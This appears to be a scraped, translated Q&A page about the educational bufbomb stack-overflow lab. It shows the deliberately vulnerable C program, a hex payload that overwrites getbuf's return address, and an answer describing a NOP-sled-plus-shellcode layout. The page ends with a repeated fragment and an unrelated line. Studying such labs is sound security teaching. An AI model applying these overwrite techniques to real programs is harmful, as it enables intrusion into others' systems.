作者热门文章
- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在使用 bufbomb.c
进行一些缓冲区溢出攻击
实验。
我成功使用gdb
来调试代码。然而;当我直接运行程序时,当我输入字符尝试攻击时,我收到“段错误(核心转储)”
。
我使用了 gcc (Ubuntu/Linaro 4.8.1-10ubuntu9) 4.8.1。构建以下内容。
//bufbomb.c
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even =1; /* Have read even number of digits */
int otherd =0; /* Other hex digit of pair */
char*sp = dest;
while ((c = getchar()) != EOF && c !='\n') {
if (isxdigit(c)) {
int val;
if ('0'<= c && c <='9')
val = c -'0';
else if ('A'<= c && c <='F')
val = c -'A'+10;
else
val = c -'a'+10;
if (even) {
otherd = val;
even =0;
}
else {
*sp++= otherd *16+ val;
even =1;
}
}
}
*sp++='\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) &0xFFF);
int*space = (int*) alloca(offset);
*space =0; /* So that don't get complaint of unused variable */
test();
return 0;
}
然后我在gdb下执行:
...> gdb ./bugbomb
...
..run
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
getbuf returned 0xdeadbeef
[Inferior 1 (process 13530) exited normally]
然后没有 gdb::
./bufbomb
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
Segmentation fault (core dumped)
我正在寻求一些帮助来解决段错误。
最佳答案
在 gdb 下使用更大的缓冲区运行它,看看它试图访问哪个地址,以猜测 getbuf()
使用的返回地址的堆栈偏移量。
为了承受因使用 gdb 而产生的内存偏移的微小差异,请使用 NOP-sled。您的攻击缓冲区应如下所示:
|RET ADDRESS x 30 | NOPS (
0x90
) x 1000 | SHELLCODE|.
返回地址应指向 NOP 雪橇的中间。
如果执行跳转到sled中的任何位置,它将滑向shellcode。
关于c - bufbomb 堆栈溢出失败,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/23880669/
我正在使用 bufbomb.c 进行一些缓冲区溢出攻击实验。 我成功使用gdb来调试代码。然而;当我直接运行程序时,当我输入字符尝试攻击时,我收到“段错误(核心转储)”。 我使用了 gcc (Ubun
我是一名优秀的程序员,十分优秀!